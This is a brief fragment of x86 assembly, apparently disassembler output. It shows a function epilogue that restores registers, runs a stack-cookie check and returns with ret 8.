pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047c239
mov esp, ebp
pop ebp
ret 8